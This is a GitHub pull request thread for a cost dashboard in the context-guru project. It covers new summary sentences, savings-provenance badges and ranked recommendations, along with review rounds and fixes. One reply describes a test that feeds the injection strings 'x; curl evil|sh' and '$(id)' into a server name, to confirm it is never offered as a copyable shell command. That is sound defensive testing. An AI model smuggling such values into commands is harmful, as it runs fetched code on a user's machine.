Skip to content

feat(dash): bottom line + ranked recommendations on every page (#437) - #443

Merged
OsherElhadad merged 2 commits into
mainfrom
feat/dashboard-bottom-line
Oct 11, 2026
Merged

OsherElhadad merged 2 commits into
mainfrom
feat/dashboard-bottom-line

Conversation

@OsherElhadad

Copy link
Copy Markdown
Collaborator

Part of #437 (Workstream D). Design: see the comment on #437. UI only: no Go query code touched (the endpoint-performance work lives on perf/dashboard-endpoints), no new API field, no build step.

What changes

  • Bottom line on every page: one sentence, one number, a provenance badge (Observed / Estimated / Unpriced), then a ranked "What we recommend" list (max 3, copyable command or link). Existing detail is untouched below it.
  • Overview: the three competing "saved" figures collapse into one net (total_saved_usd) with a hover/focus receipt: compaction, context-guru's own model spend, keep-alive net, prefix split, declarations dropped. The receipt rows add up to the server total (tested). Provider prompt-cache savings are explicitly not counted. The old side-by-side figures sit in a collapsed "Every savings figure, side by side".
  • Nav: Savings = Keep-alive, Inventory, Usage (promoted); Components, KV-cache, Campaigns, Benchmarks move to a new Advanced group, with a one-line "operator/research view" banner. The Behaviour group is gone; every old #group/view hash still resolves (last segment wins) and canonicalises to the new group. Tests updated.
  • Contrast checked against WCAG AA: every new text/background pair is >= 4.6:1 in light and dark (badges, links, muted ink on sunken, status colours).

The three questions per page (checked on the rendered DOM against the synthetic DB)

Page Bottom line shown Q1 / Q2 / Q3
Overview "saved you $6.88 net, 4.9% of your $141.33 bill" (Estimated) Did it save, how much, how sure? / what did I pay? / what next (3 ranked actions)
Keep-alive "expected to save $10.98 to $18.18"; measured $4.01 net (upper bound) Does it pay? / what has it cost so far? / what to set (280 s, 2 pings)
Inventory "carrying 26,107 tokens of unused tools, about $34.41" what do I carry? / how much? / which command removes it (top 3)
Usage "spent $141.33; cache served 82% of input" (Observed) spend? / cache working? / what re-bills me (prefix changes)
Sessions "48 sessions cost $139.02; costliest $5.89 (4.2%)" which is expensive / how concentrated / drill in
Requests "1,893 requests, $0.07 each" volume / unit cost / drill in

Evidence

All screenshots are a synthetic DB (scripts/dashboard-demo/gen_demo_db.py, 48 sessions, 2,001 requests); no tenant, user or session ids from real data. Before = origin/main binary, after = this branch, same DB.

Before After
Overview before-light-00-overview after-light-00-overview
Overview dark before-dark-00-overview after-dark-00-overview
Overview 390px before-m-00-overview after-m-00-overview
Keep-alive before-light-04-keepalive after-light-04-keepalive
Inventory before-light-03-inventory after-light-03-inventory
Usage before-light-01-usage after-light-01-usage

All 60 shots (every tab x light/dark/390px x before/after): https://github.com/rossoctl/context-guru/tree/analysis-assets/dash-ui-437

Tests

go test ./dash/ passes (one unrelated WAL-size janitor test flaked once on a loaded box and passed on rerun). New dash/bottomline.test.mjs (run by TestBottomLineModels): receipt reconciles to total, negative/unpriced wording, inventory ranking, keep-alive interval, ranking. navhash.test.mjs extended for the retired Behaviour group.

Known limits

  • Requests and Sessions bottom lines are plain summaries, no recommendations yet.
  • First paint of Inventory numbers depends on /api/tools (4.5 s cold on the real snapshot, being fixed on the perf branch); the banner shows "unknown/Unpriced" until it answers.
  • Not merged, not deployed.

…et savings figure

Each page opens with one sentence, one number and an Observed/Estimated/Unpriced
badge, then a short ranked 'What we recommend' list. Overview collapses the three
competing saved figures into one net with a hover receipt; Keep-alive and
Inventory move up under Savings; Components, KV-cache, Campaigns and Benchmarks
move to an Advanced group (all old hashes still resolve).

Signed-off-by: Osher-Elhadad <[email protected]>
@OsherElhadad

Copy link
Copy Markdown
Collaborator Author

Reviewer: CHANGES REQUESTED (formal review not possible on own PR). go test ./dash green; the receipt reconciles (net + cg_llm, -cg_llm, keep-alive net, prefix split, plug); screenshots are synthetic (demo-session-NNN), no real ids seen in the two I opened; old hashes covered by navhash tests.

Must fix (provenance, the point of this PR):

  1. The Overview headline reads as a measured fact. In the screenshot, $6.88 'context-guru saved you $6.88 net' is 58% keep-alive net ($4.01), which the Keep-alive page itself calls 'a CEILING ... an upper bound, not the decision'. The headline badge is plain 'Estimated', the sentence has no 'estimated'/'up to', and the receipt row 'Keep-alive, net' (bottomline.js ovModel) carries a plain 'Estimated' badge with the note 'cache re-creations avoided' and no upper-bound wording. Required: label that receipt row 'upper bound / ceiling' (new badge kind or note text), and make the headline say what it is, e.g. 'saved an estimated $6.88 net (up to, counting keep-alive at its ceiling)'. Better: show the number with the keep-alive share visibly separable (e.g. '$2.87 compaction + up to $4.01 keep-alive').
  2. kaModel.observed says 'an upper bound (Observed)'. An upper bound is not observed. Pings spend is observed; the avoided-rewrite credit is a ceiling. Split the wording.
  3. Recommendation ranking (BL.rank) sorts by usd across incomparable quantities: keep-alive uses the interval's hi bound, inventory uses estimated carry cost, prefix-change uses observed re-bill. Ranking a ceiling against estimates over-promotes keep-alive (it ranked feat(engine): unify compaction under one Compactor abstraction; add summarizer + truncation; comprehensive stats #2 in the screenshot with 'Expected $10.98 to $18.18'). Rank by the low bound for intervals, or do not rank across kinds.

Should fix:
4. Security: invModel builds a copyable shell command 'claude mcp remove ' + s.server where server comes from tool declaration names (attacker/MCP-controlled). A name containing ; or $( ) is copied into the user's terminal. Only offer the command when server matches ^[A-Za-z0-9_.-]+$, otherwise show text only.
5. The 'Declarations dropped' receipt row is a plug (total - net - ka - split). Fine today, but any future addend will be mislabelled; add a test asserting it equals the filtered-declaration credit, or label it 'Other'.

No conflict with #441/#442 (UI only). CI build-test was still pending when I reviewed.

…k on low bounds, restrict copyable commands

The Overview headline now says it is an estimate and shows compaction and the
keep-alive ceiling separately; the receipt row carries an 'Upper bound' badge.
Keep-alive's ping spend is Observed, its avoided re-creations are a ceiling.
Recommendations rank on the conservative value (interval low bound). A server
name from tool declarations is only offered as a shell command when it is a
plain identifier. The remainder row is labelled Other.

Signed-off-by: Osher-Elhadad <[email protected]>
@OsherElhadad

Copy link
Copy Markdown
Collaborator Author

Addressed in the new commit (screenshots refreshed on analysis-assets: Overview, Inventory, Keep-alive in light/dark/390px).

  1. Headline provenance: the sentence now reads "saved an estimated $2.87 net from compaction, plus up to $4.01 from keep-alive (a ceiling, not measured)", the number reads "up to $6.88", and the % of bill is "up to". The receipt row is "Keep-alive, net (upper bound)" with a new "Upper bound" badge and a note saying it is a ceiling and that the pings spent are Observed. With no keep-alive credit the wording drops back to a plain estimate (tested).
  2. kaModel.observed: pings cost is Observed; the avoided re-creations are a ceiling, so the net is an upper bound, not a measurement. No more "upper bound (Observed)".
  3. Ranking: recommendations rank on the conservative value (keep-alive contributes its low bound, not the hi ceiling). In the new screenshot it is now Feat: runtime reduction mode API (on/off/deterministic) #3 behind the observed re-bill and the unused-server estimate. Test added.
  4. Shell command: offered only when the server name matches ^[A-Za-z0-9_.-]+$, otherwise text only. Test with x; curl evil|sh and $(id).
  5. The remainder row is now "Other (declarations dropped)"; a test asserts it appears only for a non-zero remainder and that the receipt still reconciles.

bottomline.test.mjs: 7 pass; go test for the nav/UI/bottom-line tests passes. origin/main had nothing new when I rebased.

@OsherElhadad

Copy link
Copy Markdown
Collaborator Author

Reviewer: approved after re-review. Checked: headline now reads 'an estimated $X net from compaction, plus up to $Y from keep-alive (a ceiling, not measured)' with the number prefixed 'up to'; the receipt row is 'Keep-alive, net (upper bound)' with an Upper bound badge (CSS .badge.upper covers the class split); the keep-alive page no longer says 'upper bound (Observed)'; BL.rank sorts on low bounds (kaModel uses max(lo,0)); MCP names only become a copyable command when they match ^[A-Za-z0-9_.-]+$; plug row is 'Other'. go test ./dash green (run in full, 63 s), node bottomline tests pass, CI all pass.

@OsherElhadad OsherElhadad added the ready-to-merge Program PR approved by the reviewer, CI green; needs maintainer approval label Oct 11, 2026
@OsherElhadad
OsherElhadad merged commit 653671e into main Oct 11, 2026
4 checks passed
@OsherElhadad
OsherElhadad deleted the feat/dashboard-bottom-line branch October 11, 2026 22:54
@github-project-automation github-project-automation Bot moved this from New/ToDo to Done in Rossoctl Issue Prioritization Oct 11, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

ready-to-merge Program PR approved by the reviewer, CI green; needs maintainer approval

Projects

Status: Done

Development

Successfully merging this pull request may close these issues.

1 participant